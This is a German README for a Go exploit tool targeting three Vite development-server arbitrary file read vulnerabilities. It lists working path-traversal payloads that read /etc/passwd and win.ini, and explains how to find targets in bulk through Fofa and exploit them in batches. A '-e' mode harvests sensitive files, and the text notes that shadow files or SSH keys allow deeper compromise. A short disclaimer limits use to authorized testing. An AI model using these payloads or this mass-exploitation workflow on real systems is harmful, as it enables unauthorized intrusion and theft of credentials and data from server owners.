
Exploit für CVE-2025-30208 und CVE-2025-31125
Dieses Projekt betrifft drei Schwachstellen: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, alle betreffen den Vite-Entwicklungsserver und ermöglichen das Lesen beliebiger Dateien. Diese drei Schwachstellen haben eine große Abdeckung und sind einfach und uneingeschränkt ausnutzbar.
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
Der Pfad /@fs kann weggelassen werden.
body="/@vite/client"
Go-Version: Go 1.20 oder höher
Wechseln Sie in das Stammverzeichnis des Projekts.
Synchronisieren Sie zuerst die Abhängigkeiten:
go mod tidy
Dann kompilieren Sie das Projekt:
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
./ViteVulScan startet das Skript.
Sie können das Projekt auch direkt im Stammverzeichnis ausführen:
go run .
Das Skript unterstützt die Zusammenarbeit mit Fofa, um Assets zu durchsuchen und dann eine Batch-Erkennung durchzuführen.
Um Fofa zu verwenden, stellen Sie sicher, dass die Datei app.ini und die kompilierte Binärdatei im selben Verzeichnis sind. Bearbeiten Sie die Datei app.ini im config-Verzeichnis. Tragen Sie Ihren eigenen Fofa-API-Key in das Feld fofakey ein. num ist die ungefähre Anzahl der Assets, die Sie überprüfen möchten.
Wenn Sie eine bessere Fofa-Suchgrammatik für diese Schwachstellen haben, können Sie das Feld fofaQuery entsprechend ändern.
Usage of ./ViteVulScan:
http://example1.com
example2.com
127.0.0.1
Beispiel 1: Batch-Erkennung mit Fofa:
./ViteVulScan -fofa

Nach dem Scan wird im result-Verzeichnis eine CSV-Datei mit den erfolgreich ausgenutzten URLs gespeichert, benannt mit einem Zeitstempel:

Beispiel 2: Tiefgehende Ausnutzung einer anfälligen URL:
./ViteVulScan -u example.com -e

Wenn „Nutzung erfolgreich“ angezeigt wird, überprüfen Sie das result-Verzeichnis. Es wird ein Verzeichnis mit dem Namen der gescannten URL geben. Die gescannten sensiblen Dateien werden in ihrem ursprünglichen Dateiformat an den entsprechenden Pfaden gespeichert. Das Ergebnis sieht wie folgt aus:

Am Beispiel des gespeicherten Inhalts von result/localhost:5173/etc/passwd ist zu sehen, dass der vollständige Inhalt der sensiblen Informationen gespeichert wurde, was die weitere Nutzung erleichtert (wenn /etc/shadow oder der SSH-Private-Key des Servers ausgelesen werden können, kann dies weiter ausgenutzt werden).

Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Verwenden Sie es nicht für illegale Zwecke. Die Folgen jeglicher nicht autorisierter Tests mit diesem Tool liegen in der alleinigen Verantwortung des Benutzers.
| Parameter | Beschreibung |
|---|
| -cve | Welche CVE-Schwachstelle für die Erkennung verwendet werden soll. Unterstützt CVE_2025_30208/CVE_2025_31125/CVE_2025_31486. Standardmäßig wird CVE_2025_30208 verwendet. |
| -fofa | Wenn dieser Parameter angegeben wird, werden Assets über Fofa durchsucht und die resultierenden Ziel-Assets werden in einer Batch-Erkennung überprüft. |
| -u | -url | Gibt ein einzelnes URL-Ziel an und führt die Erkennung dafür durch. |
| -f | -filename | Gibt einen Dateinamen an und führt die Batch-Erkennung der darin enthaltenen URLs durch. |
| -e | Wenn dieser Parameter angegeben wird, wird für die als anfällig erkannten Assets eine tiefgehende Ausnutzung durchgeführt. Es werden verschiedene mögliche sensible Dateien gelesen und lokal gespeichert. (Bitte verwenden Sie diese Funktion mit Vorsicht. Am besten für die Erkennung einzelner Ziele, d.h. in Verbindung mit -u.) |